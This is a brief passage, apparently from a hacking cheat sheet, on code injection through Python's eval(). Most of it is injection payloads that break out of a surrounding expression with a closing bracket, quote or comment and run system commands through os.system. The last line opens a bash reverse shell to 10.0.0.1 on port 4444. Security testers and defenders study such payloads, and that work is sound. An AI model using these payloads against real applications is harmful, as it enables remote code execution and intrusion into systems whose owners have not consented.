eval(text)
eval(f"5 + {num}")
Copied!
Most of the time, we need to bypass another expression to execute our desired command.
__import__('os').system('id')
<!-- Bypass another expression in eval -->
),__import__('os').system('id')
'),__import__('os').system('id')
},__import__('os').system('id')
),__import__('os').system('id')#
Copied!
__import__('os').system('bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"')